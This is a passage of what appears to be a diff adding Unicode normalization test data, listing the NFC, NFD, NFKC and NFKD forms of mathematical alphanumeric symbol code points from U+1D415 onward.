+{ source: [0x1D415], NFC: [0x1D415], NFD: [0x1D415], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D416], NFC: [0x1D416], NFD: [0x1D416], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D417], NFC: [0x1D417], NFD: [0x1D417], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D418], NFC: [0x1D418], NFD: [0x1D418], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D419], NFC: [0x1D419], NFD: [0x1D419], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D41A], NFC: [0x1D41A], NFD: [0x1D41A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D41B], NFC: [0x1D41B], NFD: [0x1D41B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D41C], NFC: [0x1D41C], NFD: [0x1D41C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D41D], NFC: [0x1D41D], NFD: [0x1D41D], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D41E], NFC: [0x1D41E], NFD: [0x1D41E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D41F], NFC: [0x1D41F], NFD: [0x1D41F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D420], NFC: [0x1D420], NFD: [0x1D420], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D421], NFC: [0x1D421], NFD: [0x1D421], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D422], NFC: [0x1D422], NFD: [0x1D422], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D423], NFC: [0x1D423], NFD: [0x1D423], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D424], NFC: [0x1D424], NFD: [0x1D424], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D425], NFC: [0x1D425], NFD: [0x1D425], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D426], NFC: [0x1D426], NFD: [0x1D426], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D427], NFC: [0x1D427], NFD: [0x1D427], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D428], NFC: [0x1D428], NFD: [0x1D428], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D429], NFC: [0x1D429], NFD: [0x1D429], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D42A], NFC: [0x1D42A], NFD: [0x1D42A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D42B], NFC: [0x1D42B], NFD: [0x1D42B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D42C], NFC: [0x1D42C], NFD: [0x1D42C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D42D], NFC: [0x1D42D], NFD: [0x1D42D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D42E], NFC: [0x1D42E], NFD: [0x1D42E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D42F], NFC: [0x1D42F], NFD: [0x1D42F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D430], NFC: [0x1D430], NFD: [0x1D430], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D431], NFC: [0x1D431], NFD: [0x1D431], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D432], NFC: [0x1D432], NFD: [0x1D432], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D433], NFC: [0x1D433], NFD: [0x1D433], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D434], NFC: [0x1D434], NFD: [0x1D434], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D435], NFC: [0x1D435], NFD: [0x1D435], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D436], NFC: [0x1D436], NFD: [0x1D436], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D437], NFC: [0x1D437], NFD: [0x1D437], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D438], NFC: [0x1D438], NFD: [0x1D438], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D439], NFC: [0x1D439], NFD: [0x1D439], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D43A], NFC: [0x1D43A], NFD: [0x1D43A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D43B], NFC: [0x1D43B], NFD: [0x1D43B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D43C], NFC: [0x1D43C], NFD: [0x1D43C], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D43D], NFC: [0x1D43D], NFD: [0x1D43D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D43E], NFC: [0x1D43E], NFD: [0x1D43E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D43F], NFC: [0x1D43F], NFD: [0x1D43F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D440], NFC: [0x1D440], NFD: [0x1D440], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D441], NFC: [0x1D441], NFD: [0x1D441], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D442], NFC: [0x1D442], NFD: [0x1D442], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D443], NFC: [0x1D443], NFD: [0x1D443], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D444], NFC: [0x1D444], NFD: [0x1D444], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D445], NFC: [0x1D445], NFD: [0x1D445], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D446], NFC: [0x1D446], NFD: [0x1D446], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D447], NFC: [0x1D447], NFD: [0x1D447], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D448], NFC: [0x1D448], NFD: [0x1D448], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D449], NFC: [0x1D449], NFD: [0x1D449], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D44A], NFC: [0x1D44A], NFD: [0x1D44A], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D44B], NFC: [0x1D44B], NFD: [0x1D44B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D44C], NFC: [0x1D44C], NFD: [0x1D44C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D44D], NFC: [0x1D44D], NFD: [0x1D44D], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D44E], NFC: [0x1D44E], NFD: [0x1D44E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44F], NFC: [0x1D44F], NFD: [0x1D44F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D450], NFC: [0x1D450], NFD: [0x1D450], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D451], NFC: [0x1D451], NFD: [0x1D451], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D452], NFC: [0x1D452], NFD: [0x1D452], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D453], NFC: [0x1D453], NFD: [0x1D453], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D454], NFC: [0x1D454], NFD: [0x1D454], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D456], NFC: [0x1D456], NFD: [0x1D456], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D457], NFC: [0x1D457], NFD: [0x1D457], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D458], NFC: [0x1D458], NFD: [0x1D458], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D459], NFC: [0x1D459], NFD: [0x1D459], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D45A], NFC: [0x1D45A], NFD: [0x1D45A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D45B], NFC: [0x1D45B], NFD: [0x1D45B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D45C], NFC: [0x1D45C], NFD: [0x1D45C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D45D], NFC: [0x1D45D], NFD: [0x1D45D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D45E], NFC: [0x1D45E], NFD: [0x1D45E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D45F], NFC: [0x1D45F], NFD: [0x1D45F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D460], NFC: [0x1D460], NFD: [0x1D460], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D461], NFC: [0x1D461], NFD: [0x1D461], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D462], NFC: [0x1D462], NFD: [0x1D462], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D463], NFC: [0x1D463], NFD: [0x1D463], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D464], NFC: [0x1D464], NFD: [0x1D464], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D465], NFC: [0x1D465], NFD: [0x1D465], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D466], NFC: [0x1D466], NFD: [0x1D466], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D467], NFC: [0x1D467], NFD: [0x1D467], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D468], NFC: [0x1D468], NFD: [0x1D468], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D469], NFC: [0x1D469], NFD: [0x1D469], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D46A], NFC: [0x1D46A], NFD: [0x1D46A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D46B], NFC: [0x1D46B], NFD: [0x1D46B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D46C], NFC: [0x1D46C], NFD: [0x1D46C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D46D], NFC: [0x1D46D], NFD: [0x1D46D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D46E], NFC: [0x1D46E], NFD: [0x1D46E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D46F], NFC: [0x1D46F], NFD: [0x1D46F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D470], NFC: [0x1D470], NFD: [0x1D470], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D471], NFC: [0x1D471], NFD: [0x1D471], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D472], NFC: [0x1D472], NFD: [0x1D472], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D473], NFC: [0x1D473], NFD: [0x1D473], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D474], NFC: [0x1D474], NFD: [0x1D474], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D475], NFC: [0x1D475], NFD: [0x1D475], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D476], NFC: [0x1D476], NFD: [0x1D476], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D477], NFC: [0x1D477], NFD: [0x1D477], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D478], NFC: [0x1D478], NFD: [0x1D478], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D479], NFC: [0x1D479], NFD: [0x1D479], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D47A], NFC: [0x1D47A], NFD: [0x1D47A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D47B], NFC: [0x1D47B], NFD: [0x1D47B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D47C], NFC: [0x1D47C], NFD: [0x1D47C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D47D], NFC: [0x1D47D], NFD: [0x1D47D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D47E], NFC: [0x1D47E], NFD: [0x1D47E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D47F], NFC: [0x1D47F], NFD: [0x1D47F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D480], NFC: [0x1D480], NFD: [0x1D480], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D481], NFC: [0x1D481], NFD: [0x1D481], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D482], NFC: [0x1D482], NFD: [0x1D482], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D483], NFC: [0x1D483], NFD: [0x1D483], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D484], NFC: [0x1D484], NFD: [0x1D484], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D485], NFC: [0x1D485], NFD: [0x1D485], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D486], NFC: [0x1D486], NFD: [0x1D486], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D487], NFC: [0x1D487], NFD: [0x1D487], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D488], NFC: [0x1D488], NFD: [0x1D488], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D489], NFC: [0x1D489], NFD: [0x1D489], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D48A], NFC: [0x1D48A], NFD: [0x1D48A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D48B], NFC: [0x1D48B], NFD: [0x1D48B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D48C], NFC: [0x1D48C], NFD: [0x1D48C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D48D], NFC: [0x1D48D], NFD: [0x1D48D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D48E], NFC: [0x1D48E], NFD: [0x1D48E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D48F], NFC: [0x1D48F], NFD: [0x1D48F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D490], NFC: [0x1D490], NFD: [0x1D490], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D491], NFC: [0x1D491], NFD: [0x1D491], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D492], NFC: [0x1D492], NFD: [0x1D492], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D493], NFC: [0x1D493], NFD: [0x1D493], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D494], NFC: [0x1D494], NFD: [0x1D494], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D495], NFC: [0x1D495], NFD: [0x1D495], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D496], NFC: [0x1D496], NFD: [0x1D496], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D497], NFC: [0x1D497], NFD: [0x1D497], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D498], NFC: [0x1D498], NFD: [0x1D498], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D499], NFC: [0x1D499], NFD: [0x1D499], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D49A], NFC: [0x1D49A], NFD: [0x1D49A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D49B], NFC: [0x1D49B], NFD: [0x1D49B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D49C], NFC: [0x1D49C], NFD: [0x1D49C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D49E], NFC: [0x1D49E], NFD: [0x1D49E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D49F], NFC: [0x1D49F], NFD: [0x1D49F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4A2], NFC: [0x1D4A2], NFD: [0x1D4A2], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4A5], NFC: [0x1D4A5], NFD: [0x1D4A5], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4A6], NFC: [0x1D4A6], NFD: [0x1D4A6], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4A9], NFC: [0x1D4A9], NFD: [0x1D4A9], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4AA], NFC: [0x1D4AA], NFD: [0x1D4AA], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4AB], NFC: [0x1D4AB], NFD: [0x1D4AB], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4AC], NFC: [0x1D4AC], NFD: [0x1D4AC], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4AE], NFC: [0x1D4AE], NFD: [0x1D4AE], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4AF], NFC: [0x1D4AF], NFD: [0x1D4AF], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4B0], NFC: [0x1D4B0], NFD: [0x1D4B0], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4B1], NFC: [0x1D4B1], NFD: [0x1D4B1], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4B2], NFC: [0x1D4B2], NFD: [0x1D4B2], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4B3], NFC: [0x1D4B3], NFD: [0x1D4B3], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4B4], NFC: [0x1D4B4], NFD: [0x1D4B4], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4B5], NFC: [0x1D4B5], NFD: [0x1D4B5], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4B6], NFC: [0x1D4B6], NFD: [0x1D4B6], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4B7], NFC: [0x1D4B7], NFD: [0x1D4B7], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4B8], NFC: [0x1D4B8], NFD: [0x1D4B8], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4B9], NFC: [0x1D4B9], NFD: [0x1D4B9], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4BB], NFC: [0x1D4BB], NFD: [0x1D4BB], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4BD], NFC: [0x1D4BD], NFD: [0x1D4BD], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4BE], NFC: [0x1D4BE], NFD: [0x1D4BE], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4BF], NFC: [0x1D4BF], NFD: [0x1D4BF], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4C0], NFC: [0x1D4C0], NFD: [0x1D4C0], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4C1], NFC: [0x1D4C1], NFD: [0x1D4C1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4C2], NFC: [0x1D4C2], NFD: [0x1D4C2], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4C3], NFC: [0x1D4C3], NFD: [0x1D4C3], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4C5], NFC: [0x1D4C5], NFD: [0x1D4C5], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4C6], NFC: [0x1D4C6], NFD: [0x1D4C6], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4C7], NFC: [0x1D4C7], NFD: [0x1D4C7], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4C8], NFC: [0x1D4C8], NFD: [0x1D4C8], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4C9], NFC: [0x1D4C9], NFD: [0x1D4C9], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4CA], NFC: [0x1D4CA], NFD: [0x1D4CA], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4CB], NFC: [0x1D4CB], NFD: [0x1D4CB], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D4CC], NFC: [0x1D4CC], NFD: [0x1D4CC], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D4CD], NFC: [0x1D4CD], NFD: [0x1D4CD], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D4CE], NFC: [0x1D4CE], NFD: [0x1D4CE], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D4CF], NFC: [0x1D4CF], NFD: [0x1D4CF], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D4D0], NFC: [0x1D4D0], NFD: [0x1D4D0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D4D1], NFC: [0x1D4D1], NFD: [0x1D4D1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D4D2], NFC: [0x1D4D2], NFD: [0x1D4D2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D4D3], NFC: [0x1D4D3], NFD: [0x1D4D3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4D4], NFC: [0x1D4D4], NFD: [0x1D4D4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D4D5], NFC: [0x1D4D5], NFD: [0x1D4D5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D4D6], NFC: [0x1D4D6], NFD: [0x1D4D6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4D7], NFC: [0x1D4D7], NFD: [0x1D4D7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D4D8], NFC: [0x1D4D8], NFD: [0x1D4D8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D4D9], NFC: [0x1D4D9], NFD: [0x1D4D9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4DA], NFC: [0x1D4DA], NFD: [0x1D4DA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4DB], NFC: [0x1D4DB], NFD: [0x1D4DB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D4DC], NFC: [0x1D4DC], NFD: [0x1D4DC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D4DD], NFC: [0x1D4DD], NFD: [0x1D4DD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4DE], NFC: [0x1D4DE], NFD: [0x1D4DE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4DF], NFC: [0x1D4DF], NFD: [0x1D4DF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4E0], NFC: [0x1D4E0], NFD: [0x1D4E0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4E1], NFC: [0x1D4E1], NFD: [0x1D4E1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D4E2], NFC: [0x1D4E2], NFD: [0x1D4E2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4E3], NFC: [0x1D4E3], NFD: [0x1D4E3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4E4], NFC: [0x1D4E4], NFD: [0x1D4E4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4E5], NFC: [0x1D4E5], NFD: [0x1D4E5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4E6], NFC: [0x1D4E6], NFD: [0x1D4E6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4E7], NFC: [0x1D4E7], NFD: [0x1D4E7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4E8], NFC: [0x1D4E8], NFD: [0x1D4E8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4E9], NFC: [0x1D4E9], NFD: [0x1D4E9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4EA], NFC: [0x1D4EA], NFD: [0x1D4EA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4EB], NFC: [0x1D4EB], NFD: [0x1D4EB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4EC], NFC: [0x1D4EC], NFD: [0x1D4EC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4ED], NFC: [0x1D4ED], NFD: [0x1D4ED], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4EE], NFC: [0x1D4EE], NFD: [0x1D4EE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4EF], NFC: [0x1D4EF], NFD: [0x1D4EF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4F0], NFC: [0x1D4F0], NFD: [0x1D4F0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F1], NFC: [0x1D4F1], NFD: [0x1D4F1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4F2], NFC: [0x1D4F2], NFD: [0x1D4F2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4F3], NFC: [0x1D4F3], NFD: [0x1D4F3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4F4], NFC: [0x1D4F4], NFD: [0x1D4F4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4F5], NFC: [0x1D4F5], NFD: [0x1D4F5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4F6], NFC: [0x1D4F6], NFD: [0x1D4F6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4F7], NFC: [0x1D4F7], NFD: [0x1D4F7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4F8], NFC: [0x1D4F8], NFD: [0x1D4F8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D4F9], NFC: [0x1D4F9], NFD: [0x1D4F9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4FA], NFC: [0x1D4FA], NFD: [0x1D4FA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4FB], NFC: [0x1D4FB], NFD: [0x1D4FB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4FC], NFC: [0x1D4FC], NFD: [0x1D4FC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4FD], NFC: [0x1D4FD], NFD: [0x1D4FD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4FE], NFC: [0x1D4FE], NFD: [0x1D4FE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4FF], NFC: [0x1D4FF], NFD: [0x1D4FF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D500], NFC: [0x1D500], NFD: [0x1D500], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D501], NFC: [0x1D501], NFD: [0x1D501], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D502], NFC: [0x1D502], NFD: [0x1D502], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D503], NFC: [0x1D503], NFD: [0x1D503], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D504], NFC: [0x1D504], NFD: [0x1D504], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D505], NFC: [0x1D505], NFD: [0x1D505], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D507], NFC: [0x1D507], NFD: [0x1D507], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D508], NFC: [0x1D508], NFD: [0x1D508], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D509], NFC: [0x1D509], NFD: [0x1D509], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D50A], NFC: [0x1D50A], NFD: [0x1D50A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D50D], NFC: [0x1D50D], NFD: [0x1D50D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D50E], NFC: [0x1D50E], NFD: [0x1D50E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D50F], NFC: [0x1D50F], NFD: [0x1D50F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D510], NFC: [0x1D510], NFD: [0x1D510], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D511], NFC: [0x1D511], NFD: [0x1D511], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D512], NFC: [0x1D512], NFD: [0x1D512], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D513], NFC: [0x1D513], NFD: [0x1D513], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D514], NFC: [0x1D514], NFD: [0x1D514], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D516], NFC: [0x1D516], NFD: [0x1D516], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D517], NFC: [0x1D517], NFD: [0x1D517], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D518], NFC: [0x1D518], NFD: [0x1D518], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D519], NFC: [0x1D519], NFD: [0x1D519], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D51A], NFC: [0x1D51A], NFD: [0x1D51A], NFKC: [0x0057], NFKD: [0x0057] },
